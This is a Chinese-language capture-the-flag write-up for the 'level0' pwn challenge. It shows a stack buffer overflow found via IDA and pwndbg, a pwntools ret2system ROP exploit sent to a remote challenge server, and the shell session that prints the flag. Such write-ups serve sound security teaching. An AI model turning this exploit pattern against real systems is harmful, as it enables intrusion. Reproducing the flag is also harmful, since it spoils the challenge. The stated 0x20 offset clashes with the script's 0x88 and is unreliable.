Level 0

首先还是先从 checksec 检查下 level0 的保护措施:

```
[*] '/home/pwn/桌面/gongfangshjie/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

然后用 IDA 打开 level0

```
1 ssize_t vulnerable_function()
2 {
3   char buf; // [rsp+0h] [rbp-80h]
4
5   return read(0, &buf, 0x200uLL);
6 }
```

发现栈溢出漏洞，但是我没看见 system_call 函数，所以我自己构造的 shellcode

由于是 64 位的 elf,传递的第一个参数是 rdi 寄存器，所以用 ROPgadget 查看 pop|ret

然后正好发现了一个 pop rdi ret。

```
gongfangshjie$ ROPgadget --binary level0 --only "pop|ret"
Gadgets information
============================================================
0x000000000040065c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040065e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400660 : pop r14 ; pop r15 ; ret
0x0000000000400662 : pop r15 ; ret
0x000000000040065b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040065f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400500 : pop rbp ; ret
0x0000000000400663 : pop rdi ; ret
0x0000000000400661 : pop rsi ; pop r15 ; ret
0x000000000040065d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400431 : ret
0x0000000000400462 : ret 0x2005
```

然后在 pwndbg 中调试，查找我们填入的数据到栈底的长度，为 0x20 长度。

```
pwndbg> stack 50
00:0000| rsi rsp  0x7fffffffdf00 ◂— 'AAAAAAAAAAA\n'
01:0008|          0x7fffffffdf08 ◂— 0xa414141 /* 'AAA\n' */
02:0010|          0x7fffffffdf10 ◂— 0x0
... ↓
08:0040|          0x7fffffffdf40 —▸ 0x400040 ◂— 0x500000006
09:0048|          0x7fffffffdf48 ◂— 0xf0b5ff
0a:0050|          0x7fffffffdf50 ◂— 0xc2
0b:0058|          0x7fffffffdf58 —▸ 0x7fffffffdf87 ◂— 0x4005f300
0c:0060|          0x7fffffffdf60 ◂— 0x1
0d:0068|          0x7fffffffdf68 —▸ 0x40064d (__libc_csu_init+77) ◂— add    rbx, 1
0e:0070|          0x7fffffffdf70 —▸ 0x400600 (__libc_csu_init) ◂— push   r15
0f:0078|          0x7fffffffdf78 —▸ 0x7ffff7ffe190 ◂— 0x0
10:0080| rbp      0x7fffffffdf80 —▸ 0x7fffffffdfa0 ◂— 0x0
11:0088|          0x7fffffffdf88 —▸ 0x4005f3 (main+45) ◂— leave
12:0090|          0x7fffffffdf90 —▸ 0x7fffffffe098 —▸ 0x7fffffffe3c6 ◂— 0x77702f656d6f682f ('/home/pw')
13:0098|          0x7fffffffdf98 ◂— 0x100000000
```

所以就可以写 exp.py

```
Terminal - vim exp1.py
 1 from pwn import *
 2 io=remote('220.249.52.133',51348)
 3 elf=ELF('./level0')
 4 pop_rdi_address=0x0000000000400663
 5 system_address=elf.symbols['system']
 6 bin_sh_address=next(elf.search(b'/bin/sh'))
 7 io.recvuntil(b'Hello, World\n')
 8 payload=b'A'*(0x80+0x8)+p64(pop_rdi_address)+p64(bin_sh_address)+p64(system_address)
 9 io.sendline(payload)
10 io.interactive()
~
~
~
```

成功获得 shell,

```
gongfangshjie$ python3 exp1.py
[+] Opening connection to 220.249.52.133 on port 51348: Done
[*] '/home/pwn/桌面/gongfangshjie/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ ls
bin
dev
flag
level0
lib
lib32
lib64
$ cat f
cat: f: No such file or directory
$ cat flag
cyberpeace{86f169f1fc0173e9e42631e73feece11}
$
```